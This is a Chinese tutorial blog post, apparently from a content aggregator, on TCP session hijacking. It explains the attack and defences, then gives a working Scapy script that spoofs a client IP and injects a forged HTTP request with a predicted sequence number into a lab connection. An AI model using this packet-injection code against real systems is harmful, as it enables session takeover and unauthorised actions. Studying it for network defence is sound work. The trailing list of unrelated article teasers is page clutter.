使用 Scapy 库编写 TCP 劫持攻击脚本

一、介绍

TCP劫持攻击(TCP Hijacking),也称为会话劫持,是一种攻击方式,攻击者在合法用户与服务器之间的通信过程中插入或劫持数据包,从而控制通信会话。通过TCP劫持,攻击者可以获取敏感信息、执行未授权的操作或中断正常通信。

1.1 TCP劫持攻击的原理

TCP劫持攻击主要利用了TCP协议的以下特性:

  1. 序列号预测:TCP连接中的数据包是按序列号顺序传输的,攻击者可以通过监听网络流量预测下一个有效的序列号。
  2. 中间人攻击(MITM):攻击者可以通过中间人攻击拦截和篡改通信数据包,从而控制通信会话。

1.2 TCP劫持攻击的类型

  1. 主动劫持:攻击者通过发送伪造的数据包中断或接管现有的TCP连接。
  2. 被动劫持:攻击者通过监听网络流量,获取会话中的敏感信息。

1.3 防御措施

  1. 加密通信:使用TLS/SSL等加密协议保护通信数据,防止攻击者监听和篡改数据包。
  2. 使用安全的序列号生成算法:在TCP连接建立时使用强序列号生成算法,增加序列号的不可预测性。
  3. 入侵检测系统(IDS):部署IDS实时监控网络流量,检测并阻止异常的TCP数据包。
  4. 网络隔离和分段:通过网络隔离和分段,限制攻击者获取敏感的网络流量。
  5. 双因素认证:在关键业务场景中使用双因素认证,增强通信的安全性。

通过这些防御措施,可以有效减缓或防止TCP劫持攻击,确保网络通信的安全性和稳定性。

二、实验环境

用户 Kali 在与服务器通信:192.168.134.147

服务器:192.168.134.148

三、实操演示

先获取到序列号及目标端口

以下是一个使用Python和Scapy库实现TCP劫持攻击的示例代码:

from scapy.all import *
from scapy.layers.inet import TCPdef tcp_hijack_attack(victim_ip, victim_port, server_ip, server_port, seq, ack, data):# 构造IP和TCP头部ip = IP(src=victim_ip, dst=server_ip)tcp = TCP(sport=victim_port, dport=server_port, seq=seq, ack=ack, flags="PA")  # PA表示带有数据的包payload = data# 发送伪造数据包send(ip / tcp / payload, verbose=1)print(f"Sent TCP hijack packet from {victim_ip}:{victim_port} to {server_ip}:{server_port} with seq={seq} and ack={ack}")if __name__ == "__main__":victim_ip = "192.168.134.147"  # 受害者客户端的IP地址victim_port = 49658  # 受害者客户端的端口server_ip = "192.168.134.148"  # 服务器的IP地址server_port = 8080  # 服务器的端口seq = 182  # 预测的序列号ack = 426  # 确认号data = "GET / HTTP/1.1\r\nHost: www.hubstc.com.cn\r\n\r\n"  # 伪造的数据tcp_hijack_attack(victim_ip, victim_port, server_ip, server_port, seq, ack, data)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/25250.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mysql 更改数据存储目录

先停止 mysql :sudo systemctl start/stop mysql 新建新的目录, 比如 /mnt/data/systemdata/mysql/mysql_data sudo chown -R mysql:mysql /mnt/data/sysdata/mysql/mysql_data sudo chmod -R 750 /mnt/data/sysdata/mysql/mysql_data 更改mysql.cnf…

LeetCode:字母异位词分组

文章收录于LeetCode专栏 LeetCode地址 字母异位词分组 题目 给定一个字符串数组,将字母异位词组合在一起。字母异位词指字母相同,但排列不同的字符串。所有输入均为小写字母,且不考虑答案输出的顺序。   示例1: 输入: strs [“…

2024高考作文-ChatGPT完成答卷,邀请大家来打分

高考,愿你脑洞大开,知识点全都扎根脑海;考试时手感倍儿棒,答题如行云流水;成绩公布时,笑容如春风拂面,心情如阳光普照!高考加油,你一定行! 新课标I卷 试题内…

C/C++程序员一定要知道的一些X86汇编语句

目录 1. 寄存器 通用寄存器: 栈寄存器: 指令指针寄存器: 2. 汇编指令 mov: add、sub: lea: jmp: call、ret: 3. 总结 我们在学习C语言和C的期间,有很多时候需要反汇编看语句所对应的汇编是什么样的&#x…

北邮21硕后端知识网络

blog 整理北邮21渣硕Java后端开发知识网络,阅读笔记以及技术博客,持续更新!欢迎Star! GitHub: https://github.com/WeiXiao-Hyy/blog Java 基础篇 一文带你搞懂final关键字 Java并发编程 fucking-java-concurrency解读你真…

webrtc客户端测试和arm平台测试(待补充)

一、关于API的使用研究 二、遇到的一些问题 1、snd_write Broken pipe 写音频数据到缓存不及时导致,codec没有数据可以播放。 alsa总结 WebRTC源码研究(1)WebRTC架构 WebRTC 中的基本音频处理操作

“深入探讨Java中的对象拷贝:浅拷贝与深拷贝的差异与应用“

前言:在Java编程中,深拷贝(Deep Copy)与浅拷贝(Shallow Copy)是两个非常重要的概念。它们涉及到对象在内存中的复制方式,对于理解对象的引用、内存管理以及数据安全都至关重要。 ✨✨✨这里是秋…

多粒度特征融合(细粒度图像分类)

多粒度特征融合(细粒度图像分类) 摘要Abstract1. 多粒度特征融合1.1 文献摘要1.2 研究背景1.3 创新点1.4 模型方法1.4.1 Swin-Transformer1.4.2 多粒度特征融合模块1.4.3 自注意力1.4.4 通道注意力1.4.5 图卷积网络1.4.6 基于Vision-Transformer的两阶段…

04-4.1.1 串的定义和基本操作

👋 Hi, I’m Beast Cheng👀 I’m interested in photography, hiking, landscape…🌱 I’m currently learning python, javascript, kotlin…📫 How to reach me --> 458290771qq.com 喜欢《数据结构》部分笔记的小伙伴可以订…

Rust 实战丨SSE(Server-Sent Events)

📌 SSE(Server-Sent Events)是一种允许服务器向客户端浏览器推送信息的技术。它是 HTML5 的一部分,专门用于建立一个单向的从服务器到客户端的通信连接。SSE的使用场景非常广泛,包括实时消息推送、实时通知更新等。 S…

编程参考 - 使用静态连接库和动态链接库的区别

静态库链接和动态库链接是在程序中包含外部库的两种方法。这两种方法各有利弊。下面是静态库链接和动态库链接的详细比较: 静态库链接 静态链接包括在编译时将所有必要的库代码直接包含到可执行文件中。 优点: 可移植性: 可执行文件是自包…

数据结构笔记 3 串 数组 广义表

以下了解即可,暂时没发现有什么考点 参考: 【数据结构】——多维数组和广义表_数据结构loc-CSDN博客 相对应的题目: 他这个数组不是从0开始的,是从1开始的,所以为了配合公式要减1 下面这道题又不一样,它是…

【python深度学习】——torch.einsum|torch.bmm

【python深度学习】——torch.einsum|torch.bmm 1. 基本用法与示例2. torch.bmm 1. 基本用法与示例 基本用法: torch.einsum(equation, *operands)equation: 一个字符串,定义了张量操作的模式。 使用逗号来分隔输入张量的索引,然后是一个箭头&#xff…

linux中dd命令以及如何测试读写速度

dd命令详解 dd命令是一个在Unix和类Unix系统中非常常用的命令行工具,它主要用于复制文件和转换文件数据。下面我会详细介绍一些dd命令的常见用法和功能: 基本语法 dd命令的基本语法如下: bash Copy Code dd [option]...主要选项和参数 if…

Data Mining2 复习笔记6 - Optimization Hyperparameter Tuning

6. Optimization & Hyperparameter Tuning Why Hyperparameter Tuning? Many learning algorithms for classification, regression, … Many of those have hyperparameters: k and distance function for k nearest neighbors, splitting and pruning options in decis…

力扣1712.将数组分成三个子数组的方案数

力扣1712.将数组分成三个子数组的方案数 确定左边界的值 然后二分求右边界的范围 右边界处的前缀和满足 2*s[i] < s[r] < (s[n] s[i]) / 2 int s[100010];const int N 1e97;class Solution {public:int waysToSplit(vector<int>& nums) {int n nums.siz…

Mac清洁神器CleanMyMac2024一键轻松解决电脑垃圾问题

【CleanMyMac】苹果mac电脑垃圾清理软件 大家好&#xff01;今天我要给大家种草一个超级好用的苹果mac电脑垃圾清理软件&#xff0c;那就是 CleanMyMac。相信很多人都遇到过电脑运行速度变慢、存储空间不足的问题&#xff0c;而这款软件就是解决这些问题的救星&#xff01;让我…

2024眼睛健康展|江苏省护眼产品与眼部保健展会|眼科医疗展

呵护眼睛、守护光明&#xff0c;2024全国眼睛健康产业博览会暨眼科医学大会10月11日在南京启幕&#xff1b; 办展&#xff1a;随着时代的进步、社会的发展&#xff0c;特别是电子产品的深度普及&#xff1b;近些年&#xff0c;人们的用眼时间越来越久&#xff0c;由此产生高发…

一个python 程序执行顺序

1. Python程序执行顺序 在Python中&#xff0c;程序的执行顺序通常遵循几个基本原则&#xff1a; &#xff08;1&#xff09;从上到下&#xff1a;Python代码通常从上到下顺序执行。 &#xff08;2&#xff09;代码块&#xff1a;由缩进&#xff08;如空格或制表符&#xff…

20240605解决飞凌的OK3588-C的核心板刷机原厂buildroot不能连接ADB的问题

20240605解决飞凌的OK3588-C的核心板刷机原厂buildroot不能连接ADB的问题 2024/6/5 13:53 rootrootrootroot-ThinkBook-16-G5-IRH:~/repo_RK3588_Buildroot20240508$ ./build.sh --help rootrootrootroot-ThinkBook-16-G5-IRH:~/repo_RK3588_Buildroot20240508$ ./build.sh lun…